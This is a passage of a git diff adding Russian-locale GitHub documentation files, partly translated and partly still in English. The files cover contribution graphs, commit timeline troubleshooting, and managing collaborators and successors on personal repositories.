%}{% data variables.product.product_name %}{% endif %}, public contributions on your profile are visible {% ifversion fpt or ghec %}to anyone in the world who can access {% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}only to other users of {% data variables.location.product_location%}{% endif %}.{% elsif ghae %}On {% data variables.product.prodname_ghe_managed %}, only other members of your enterprise can see the contributions on your profile.{% endif %} + +{% endnote %} + +## Changing the visibility of your private contributions + +{% data reusables.profile.access_profile %} +1. Publicize or hide your private contributions on your profile: + - To publicize your private contributions, above your contributions graph, use the **Contribution settings** drop-down menu, and select **Private contributions**. Visitors will see your private contribution counts without further details. + ![Enable visitors to see private contributions from contribution settings drop-down menu](/assets/images/help/profile/private-contributions-on.png) + - To hide your private contributions, above your contributions graph, use the **Contribution settings** drop-down menu, and unselect **Private contributions.** Visitors will only see your public contributions. + ![Enable visitors to see private contributions from contribution settings drop-down menu](/assets/images/help/profile/private-contributions-off.png) + +## Changing the visibility of Achievements + +{% data reusables.user-settings.access_settings %} +1. Show or hide Achievements on your profile: + - To show Achievements on your profile, navigate to **Profile settings**, and select the checkbox next to **Show Achievements on my profile.** + ![Enable visitors to see Achievements from profile settings](/assets/images/help/profile/achievements-profile-settings-off.png) + - To hide Achievements from your profile, navigate to **Profile settings**, and unselect the checkbox next to **Show Achievements on my profile.** + ![Hide Achievements from visitors in profile settings](/assets/images/help/profile/achievements-profile-settings-on.png) +{% ifversion hide-individual-achievements %} +1. Optionally, to hide individual Achievements from your profile: + {% data reusables.profile.access_profile %} + 1. Navigate to the Achievements section on the left sidebar of your profile and select the Achievements header. ![Achievements on profile sidebar](/assets/images/help/profile/achievements-on-profile.png) + 2. Open the detail view of the achievement you'd like to hide by clicking on the achievement. + 3. Once in the detail view, click the {% octicon "eye" aria-label="The eye icon" %} icon to hide the achievement. ![Achievement detail view](/assets/images/help/profile/achievements-detail-view.png) When hidden, badges will be marked by the {% octicon "eye-closed" aria-label="The eye closed icon" %} icon and are only visible to you. ![Hidden achievements](/assets/images/help/profile/achievements-hidden.png) + +{% endif %} +## Further reading + +- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" +- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline.md new file mode 100644 index 000000000000..36c85981de73 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline.md @@ -0,0 +1,75 @@ +--- +title: Устранение неполадок с фиксациями на временной шкале +intro: 'Вы можете просмотреть сведения о фиксациях на временной шкале профиля. Если вы не видите фиксации, ожидаемые в профиле, или не можете найти сведения о фиксации на странице профиля, дата фиксации и дата автора фиксации могут отличаться.' +redirect_from: + - /articles/troubleshooting-commits-on-your-timeline + - /github/setting-up-and-managing-your-github-profile/troubleshooting-commits-on-your-timeline + - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline + - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profiles +shortTitle: Troubleshoot commits +ms.openlocfilehash: 9052a1bde12dcc2530420a8f72123f3678da4cae +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009111' +--- +## Ожидаемое поведение для просмотра сведений о фиксации + +На временной шкале страницы своего профиля щелкните количество фиксаций рядом с конкретным репозиторием, чтобы просмотреть более подробные сведения о своих фиксациях за этот период времени, включая различия конкретных изменений, внесенных в репозиторий. + +![Ссылка на фиксацию на временной шкале профиля](/assets/images/help/profile/commit-link-on-profile-timeline.png) + +![Сведения о фиксации](/assets/images/help/commits/commit-details.png) + +## Отсутствие сведений о фиксации из фиксации на вашей временной шкале + +Если вы щелкнете ссылку на фиксацию на странице своего профиля и не увидите все ожидаемые фиксации на странице фиксаций репозитория, возможно, история фиксаций в Git была переписана, а дата создания фиксации и дата фиксации отличаются. + +![Страница репозитория с сообщением "фиксации для octocat не найдены"](/assets/images/help/repository/no-commits-found.png) + +## Как GitHub использует дату создания и дату фиксации Git + +В Git дата создания — это дата выполнения первой фиксации с `git commit`. Дата фиксации совпадает с датой создания, если никто не изменит дату фиксации с помощью `git commit --amend`, принудительной отправки, перемещения изменения из одной ветви в другую или других команд Git. + +На странице вашего профиля дата создания используется для вычисления момента создания фиксации. Тогда как для вычисления момента выполнения фиксации в репозитории используется дата фиксации. + +Чаще всего дата создания и дата фиксации совпадают, но вы можете заметить, что последовательность фиксаций нарушается, если история фиксаций изменилась. Дополнительные сведения см. в разделе [Почему мои вклады не отображаются в моем профиле?](/articles/why-are-my-contributions-not-showing-up-on-my-profile) + +## Просмотр отсутствующих сведений о фиксациях из фиксаций на временной шкале + +Вы можете использовать команду `git show` ​​с флагом `--pretty=fuller`, чтобы проверить, отличаются ли дата создания фиксации и дата фиксации. + +```shell +$ git show YOUR_COMMIT_SHA_NUMBER --pretty=fuller +commit YOUR_COMMIT_SHA_NUMBER +Author: octocat USER_EMAIL +AuthorDate: Tue Apr 03 02:02:30 2018 +0900 +Commit: Sally Johnson USER_EMAIL +CommitDate: Tue Apr 10 06:25:08 2018 +0900 +``` + +Если дата создания и дата фиксации отличаются, вы можете вручную изменить дату фиксации в URL-адресе, чтобы просмотреть сведения о фиксации. + +Пример: +- В этом URL-адресе используется дата создания `2018-04-03`: + + `https://github.com/your-organization-or-personal-account/your-repository/commits?author=octocat&since=2018-04-03T00:00:00Z&until=2018-04-03T23:59:59Z` +- В этом URL-адресе используется дата фиксации `2018-04-10`: + + `https://github.com/your-organization-or-personal-account/your-repository/commits?author=octocat&since=2018-04-10T00:00:00Z&until=2018-04-10T23:59:59Z` + +Открыв URL-адрес с измененной датой фиксации, вы можете просмотреть сведения о фиксации. + +![Сведения о фиксации](/assets/images/help/commits/commit-details.png) + +## Отсутствие ожидаемых фиксаций на временной шкале + +Если вы не видите ожидаемые фиксации на временной шкале, возможно, история фиксаций в Git была переписана, а дата создания фиксации и дата фиксации отличаются. Сведения о других возможностях см. в статье [Почему мои вклады не отображаются в моем профиле?](/articles/why-are-my-contributions-not-showing-up-on-my-profile) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md new file mode 100644 index 000000000000..5581d21cd0cb --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md @@ -0,0 +1,97 @@ +--- +title: Viewing contributions on your profile +intro: 'Your {% data variables.product.product_name %} profile shows off {% ifversion fpt or ghes or ghec %}your pinned repositories, Achievements, and{% endif %} a graph of your repository contributions over the past year.' +redirect_from: + - /articles/viewing-contributions + - /articles/viewing-contributions-on-your-profile-page + - /articles/viewing-contributions-on-your-profile + - /github/setting-up-and-managing-your-github-profile/viewing-contributions-on-your-profile + - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profiles +shortTitle: View contributions +--- +{% ifversion fpt or ghes or ghec %}Your contribution graph and Achievements show activity from public repositories. {% endif %}You can choose to show activity from {% ifversion fpt or ghes or ghec %}both public and {% endif %}private repositories, with specific details of your activity in private repositories anonymized. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)." + +{% note %} + +**Note:** Commits will only appear on your contributions graph if the email address you used to author the commits is connected to your account on {% data variables.product.product_name %}. For more information, see "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)" + +{% endnote %} + +## What counts as a contribution + +On your profile page, certain actions count as contributions: + +- Committing to a repository's default branch or `gh-pages` branch +- Opening an issue +- Opening a discussion +- Answering a discussion +- Proposing a pull request +- Submitting a pull request review{% ifversion ghes or ghae %} +- Co-authoring commits in a repository's default branch or `gh-pages` branch{% endif %} + +{% data reusables.pull_requests.pull_request_merges_and_contributions %} + +## Popular repositories + +This section displays your repositories with the most watchers. {% ifversion fpt or ghes or ghec %}Once you [pin repositories to your profile](/articles/pinning-repositories-to-your-profile), this section will change to "Pinned repositories."{% endif %} + +![Popular repositories](/assets/images/help/profile/profile_popular_repositories.png) + +{% ifversion fpt or ghes or ghec %} + +## Pinned repositories + +This section displays up to six public repositories and can include your repositories as well as repositories you've contributed to. To easily see important details about the repositories you've chosen to feature, each repository in this section includes a summary of the work being done, the number of [stars](/articles/saving-repositories-with-stars/) the repository has received, and the main programming language used in the repository. For more information, see "[Pinning repositories to your profile](/articles/pinning-repositories-to-your-profile)." + +![Pinned repositories](/assets/images/help/profile/profile_pinned_repositories.png) + +{% endif %} + +## Contributions calendar + +Your contributions calendar shows your contribution activity. + +### Viewing contributions from specific times + +- Click on a day's square to show the contributions made during that 24-hour period. +- Press *Shift* and click on another day's square to show contributions made during that time span. + +{% note %} + +**Note:** You can select up to a one-month range on your contributions calendar. If you select a larger time span, we will only display one month of contributions. + +{% endnote %} + +![Your contributions graph](/assets/images/help/profile/contributions_graph.png) + +### How contribution event times are calculated + +Timestamps are calculated differently for commits and pull requests: +- **Commits** use the time zone information in the commit timestamp. For more information, see "[Troubleshooting commits on your timeline](/articles/troubleshooting-commits-on-your-timeline)." +- **Pull requests** and **issues** opened on {% data variables.product.product_name %} use your browser's time zone. Those opened via the API use the timestamp or time zone [specified in the API call](https://developer.github.com/changes/2014-03-04-timezone-handling-changes). + +## Activity overview + +{% data reusables.profile.activity-overview-summary %} For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)." + +![Activity overview section on profile](/assets/images/help/profile/activity-overview-section.png) + +The organizations featured in the activity overview are prioritized according to how active you are in the organization. If you @mention an organization in your profile bio, and you’re an organization member, then that organization is prioritized first in the activity overview. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" or "[Adding a bio to your profile](/articles/adding-a-bio-to-your-profile/)." + +## Contribution activity + +The contribution activity section includes a detailed timeline of your work, including commits you've made or co-authored, pull requests you've proposed, and issues you've opened. You can see your contributions over time by either clicking **Show more activity** at the bottom of your contribution activity or by clicking the year you're interested in viewing on the right side of the page. Important moments, like the date you joined an organization, proposed your first pull request, or opened a high-profile issue, are highlighted in your contribution activity. If you can't see certain events in your timeline, check to make sure you still have access to the organization or repository where the event happened. + +![Contribution activity time filter](/assets/images/help/profile/contributions_activity_time_filter.png) + +## Viewing contributions from {% data variables.product.prodname_enterprise %} on {% data variables.product.prodname_dotcom_the_website %} + +If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} and your enterprise owner enables {% data variables.enterprise.prodname_unified_contributions %}, you can send enterprise contribution counts from to your {% data variables.product.prodname_dotcom_the_website %} profile. For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." + diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md new file mode 100644 index 000000000000..f7adaf2f6143 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md @@ -0,0 +1,105 @@ +--- +title: Why are my contributions not showing up on my profile? +intro: Learn common reasons that contributions may be missing from your contributions graph. +redirect_from: + - /articles/why-are-my-contributions-not-showing-up-on-my-profile + - /github/setting-up-and-managing-your-github-profile/why-are-my-contributions-not-showing-up-on-my-profile + - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile + - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profiles +shortTitle: Missing contributions +--- + +## About your contribution graph + +Your profile contributions graph is a record of contributions you've made to repositories {% ifversion ghae %}owned by{% else %}on{% endif %} {% data variables.location.product_location %}. Contributions are timestamped according to Coordinated Universal Time (UTC) rather than your local time zone. Contributions are only counted if they meet certain criteria. In some cases, we may need to rebuild your graph in order for contributions to appear. + +If you are part of an organization that uses SAML single sign-on (SSO), you won’t be able to see contribution activity from the organization on your profile if you do not have an active SSO session. People viewing your profile from outside your organization will see anonymized contribution activity of your contribution activity for your organization. + +## Contributions that are counted + +### Issues, pull requests and discussions + +Issues, pull requests, and discussions will appear on your contribution graph if they were opened in a standalone repository, not a fork. + +### Commits +Commits will appear on your contributions graph if they meet **all** of the following conditions: +- The email address used for the commits is associated with your account on {% data variables.location.product_location %}. +- The commits were made in a standalone repository, not a fork. +- The commits were made: + - In the repository's default branch + - In the `gh-pages` branch (for repositories with project sites) + +For more information on project sites, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)." + +In addition, **at least one** of the following must be true: +- You are a collaborator on the repository or are a member of the organization that owns the repository. +- You have forked the repository. +- You have opened a pull request or issue in the repository. +- You have starred the repository. + +## Common reasons that contributions are not counted + +{% data reusables.pull_requests.pull_request_merges_and_contributions %} + +### Commit was made less than 24 hours ago + +After making a commit that meets the requirements to count as a contribution, you may need to wait for up to 24 hours to see the contribution appear on your contributions graph. + +### Your local Git commit email isn't connected to your account + +Commits must be made with an email address that is connected to your account on {% data variables.location.product_location %}{% ifversion fpt or ghec %}, or the {% data variables.product.prodname_dotcom %}-provided `noreply` email address provided to you in your email settings,{% endif %} in order to appear on your contributions graph.{% ifversion fpt or ghec %} For more information about `noreply` email addresses, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#about-commit-email-addresses)."{% endif %} + +You can check the email address used for a commit by adding `.patch` to the end of a commit URL, e.g. https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch: + +``` +From 67c0afc1da354d8571f51b6f0af8f2794117fd10 Mon Sep 17 00:00:00 2001 +From: The Octocat +Date: Sun, 27 Apr 2014 15:36:39 +0530 +Subject: [PATCH] updated index for better welcome message +``` + +The email address in the `From:` field is the address that was set in the [local git config settings](/articles/set-up-git). In this example, the email address used for the commit is `octocat@nowhere.com`. + +If the email address used for the commit is not connected to your account on {% data variables.location.product_location %}, {% ifversion ghae %}change the email address used to author commits in Git. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."{% else %}you must [add the email address](/articles/adding-an-email-address-to-your-github-account) to your account on {% data variables.location.product_location %}. Your contributions graph will be rebuilt automatically when you add the new address.{% endif %} + +{% ifversion fpt or ghec %} +{% note %} + +**Note**: If you use a {% data variables.enterprise.prodname_managed_user %}, you cannot add additional email addresses to the account, even if multiple email addresses are registered with your identity provider (IdP). Therefore, only commits that are authored by the primary email address registered with your IdP can be associated with your {% data variables.enterprise.prodname_managed_user %}. + +{% endnote %} +{% endif %} + +Generic email addresses, such as `jane@computer.local`, cannot be added to {% data variables.product.prodname_dotcom %} accounts and linked to commits. If you've authored any commits using a generic email address, the commits will not be linked to your {% data variables.product.prodname_dotcom %} profile and will not show up in your contribution graph. + +### Commit was not made in the default or `gh-pages` branch + +Commits are only counted if they are made in the default branch or the `gh-pages` branch (for repositories with project sites). For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)." + +If your commits are in a non-default or non-`gh-pages` branch and you'd like them to count toward your contributions, you will need to do one of the following: +- [Open a pull request](/articles/creating-a-pull-request) to have your changes merged into the default branch or the `gh-pages` branch. +- [Change the default branch](/github/administering-a-repository/changing-the-default-branch) of the repository. + +{% warning %} + +**Warning**: Changing the default branch of the repository will change it for all repository collaborators. Only do this if you want the new branch to become the base against which all future pull requests and commits will be made. + +{% endwarning %} + +### Commit was made in a fork + +Commits made in a fork will not count toward your contributions. To make them count, you must do one of the following: +- [Open a pull request](/articles/creating-a-pull-request) to have your changes merged into the parent repository. +- To detach the fork and turn it into a standalone repository on {% data variables.location.product_location %}, contact {% data variables.contact.contact_support %}. If the fork has forks of its own, let {% data variables.contact.contact_support %} know if the forks should move with your repository into a new network or remain in the current network. For more information, see "[About forks](/articles/about-forks/)." + +## Further reading + +- "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)" +- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md new file mode 100644 index 000000000000..83327abacb20 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md @@ -0,0 +1,29 @@ +--- +title: Настройка личной учетной записи GitHub и управление ею +intro: 'Вы можете управлять параметрами личной учетной записи в {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}, включая настройки электронной почты, доступ к личным репозиториям и членство в организации. Вы также можете управлять самой учетной записью.' +shortTitle: Personal accounts +redirect_from: + - /categories/setting-up-and-managing-your-github-user-account + - /github/setting-up-and-managing-your-github-user-account + - /account-and-profile/setting-up-and-managing-your-github-user-account +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +children: + - /managing-personal-account-settings + - /managing-your-personal-account + - /managing-email-preferences + - /managing-access-to-your-personal-repositories + - /managing-your-membership-in-organizations +ms.openlocfilehash: b3c8007f37b9c61650f96a51e805024dd10a853f +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106688' +--- + diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/index.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/index.md new file mode 100644 index 000000000000..e3e4b7b16733 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/index.md @@ -0,0 +1,32 @@ +--- +title: Управление доступом к личным репозиториям +intro: 'Вы можете предоставить людям доступ к репозиториям, принадлежащим личной учетной записи, в качестве участников совместной работы.' +redirect_from: + - /categories/101/articles + - /categories/managing-repository-collaborators + - /articles/managing-access-to-your-personal-repositories + - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories +product: '{% data reusables.gated-features.user-repo-collaborators %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts + - Repositories +children: + - /inviting-collaborators-to-a-personal-repository + - /removing-a-collaborator-from-a-personal-repository + - /removing-yourself-from-a-collaborators-repository + - /maintaining-ownership-continuity-of-your-personal-accounts-repositories +shortTitle: Access to your repositories +ms.openlocfilehash: 98b504beea02ce0dfb73ebe2db34fea498c75776 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145165210' +--- + diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md new file mode 100644 index 000000000000..cd599dfdc096 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md @@ -0,0 +1,67 @@ +--- +title: Inviting collaborators to a personal repository +intro: 'You can {% ifversion fpt or ghec %}invite users to become{% else %}add users as{% endif %} collaborators to your personal repository.' +redirect_from: + - /articles/how-do-i-add-a-collaborator + - /articles/adding-collaborators-to-a-personal-repository + - /articles/inviting-collaborators-to-a-personal-repository + - /github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository + - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository +product: '{% data reusables.gated-features.user-repo-collaborators %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts + - Repositories +shortTitle: Invite collaborators +--- +Repositories owned by an organization can grant more granular access. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/articles/access-permissions-on-github)." + +{% data reusables.organizations.org-invite-expiration %} + +{% ifversion fpt or ghec %} + +If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you can only invite other members of your enterprise to collaborate with you. {% data reusables.enterprise-accounts.emu-more-info-account %} + +{% note %} + +**Note:** {% data variables.product.company_short %} limits the number of people who can be invited to a repository within a 24-hour period. If you exceed this limit, either wait 24 hours or create an organization to collaborate with more people. + +{% endnote %} + +{% endif %} + +1. Ask for the username of the person you're inviting as a collaborator.{% ifversion fpt or ghec %} If they don't have a username yet, they can sign up for {% data variables.product.prodname_dotcom %} For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)".{% endif %} +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4%} +{% data reusables.repositories.click-collaborators-teams %} +1. Click **Invite a collaborator**. + !["Invite a collaborator" button](/assets/images/help/repository/invite-a-collaborator-button.png) +2. In the search field, start typing the name of person you want to invite, then click a name in the list of matches. + ![Search field for typing the name of a person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field-user.png) +3. Click **Add NAME to REPOSITORY**. + ![Button to add collaborator](/assets/images/help/repository/add-collaborator-user-repo.png) +{% else %} +5. In the left sidebar, click **Collaborators**. +![Repository settings sidebar with Collaborators highlighted](/assets/images/help/repository/user-account-repo-settings-collaborators.png) +6. Under "Collaborators", start typing the collaborator's username. +7. Select the collaborator's username from the drop-down menu. + ![Collaborator list drop-down menu](/assets/images/help/repository/repo-settings-collab-autofill.png) +8. Click **Add collaborator**. + !["Add collaborator" button](/assets/images/help/repository/repo-settings-collab-add.png) +{% endif %} +{% ifversion fpt or ghec %} +9. The user will receive an email inviting them to the repository. Once they accept your invitation, they will have collaborator access to your repository. +{% endif %} + +## Further reading + +- "[Permission levels for a personal account repository](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-personal-account)" +- "[Removing a collaborator from a personal repository](/articles/removing-a-collaborator-from-a-personal-repository)" +- "[Removing yourself from a collaborator's repository](/articles/removing-yourself-from-a-collaborator-s-repository)" +- "[Organizing members into teams](/organizations/organizing-members-into-teams)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories.md new file mode 100644 index 000000000000..cc2254d5f3b9 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories.md @@ -0,0 +1,40 @@ +--- +title: Maintaining ownership continuity of your personal account's repositories +intro: You can invite someone to manage your user owned repositories if you are not able to. +versions: + fpt: '*' + ghec: '*' +topics: + - Accounts + - Repositories +redirect_from: + - /github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories + - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories +shortTitle: Ownership continuity +--- +## About successors + +We recommend inviting another {% data variables.product.company_short %} user to be your successor, to manage your user owned repositories if you cannot. As a successor, they will have permission to: + +- Archive your public repositories. +- Transfer your public repositories to their own user owned account. +- Transfer your public repositories to an organization where they can create repositories. + +Successors cannot log into your account. + +An appointed successor can manage your public repositories after presenting a death certificate then waiting for 7 days or presenting an obituary then waiting for 21 days. For more information, see "[{% data variables.product.company_short %} Deceased User Policy](/free-pro-team@latest/github/site-policy/github-deceased-user-policy)." + +To request access to manage repositories as a successor, contact [GitHub Support](https://support.github.com/contact?tags=docs-accounts). + +## Inviting a successor +The person you invite to be your successor must have a {% data variables.product.company_short %} account. + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.account_settings %} +3. Under "Successor settings", to invite a successor, begin typing a username, full name, or email address, then click their name when it appears. + ![Successor invitation search field](/assets/images/help/settings/settings-invite-successor-search-field.png) +4. Click **Add successor**. +{% data reusables.user-settings.sudo-mode-popup %} +6. The user you've invited will be listed as "Pending" until they agree to become your successor. + ![Pending successor invitation](/assets/images/help/settings/settings-pending-successor.png) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md new file mode 100644 index 000000000000..e194eea8cd1c --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md @@ -0,0 +1,47 @@ +--- +title: Removing a collaborator from a personal repository +intro: 'When you remove a collaborator from your project, they lose read/write access to your repository. If the repository is private and the person has created a fork, then that fork is also deleted.' +redirect_from: + - /articles/how-do-i-remove-a-collaborator + - /articles/what-happens-when-i-remove-a-collaborator-from-my-private-repository + - /articles/removing-a-collaborator-from-a-private-repository + - /articles/deleting-a-private-fork-of-a-private-user-repository + - /articles/how-do-i-delete-a-fork-of-my-private-repository + - /articles/removing-a-collaborator-from-a-personal-repository + - /github/setting-up-and-managing-your-github-user-account/removing-a-collaborator-from-a-personal-repository + - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository +product: '{% data reusables.gated-features.user-repo-collaborators %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts + - Repositories +shortTitle: Remove a collaborator +--- +## Deleting forks of private repositories + +While forks of private repositories are deleted when a collaborator is removed, the person will still retain any local clones of your repository. + +## Removing collaborator permissions from a person contributing to a repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +{% data reusables.repositories.click-collaborators-teams %} +4. To the right of the collaborator you want to remove, click {% octicon "trash" aria-label="The trash icon" %}. + ![Button to remove collaborator](/assets/images/help/repository/collaborator-remove.png) +{% else %} +3. In the left sidebar, click **Collaborators & teams**. + ![Collaborators tab](/assets/images/help/repository/repo-settings-collaborators.png) +4. Next to the collaborator you want to remove, click the **X** icon. + ![Remove link](/assets/images/help/organizations/Collaborator-Remove.png) +{% endif %} + +## Further reading + +- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)" +- "[Removing an outside collaborator from an organization repository](/articles/removing-an-outside-collaborator-from-an-organization-repository)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md new file mode 100644 index 000000000000..8e297db83f5b --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md @@ -0,0 +1,33 @@ +--- +title: 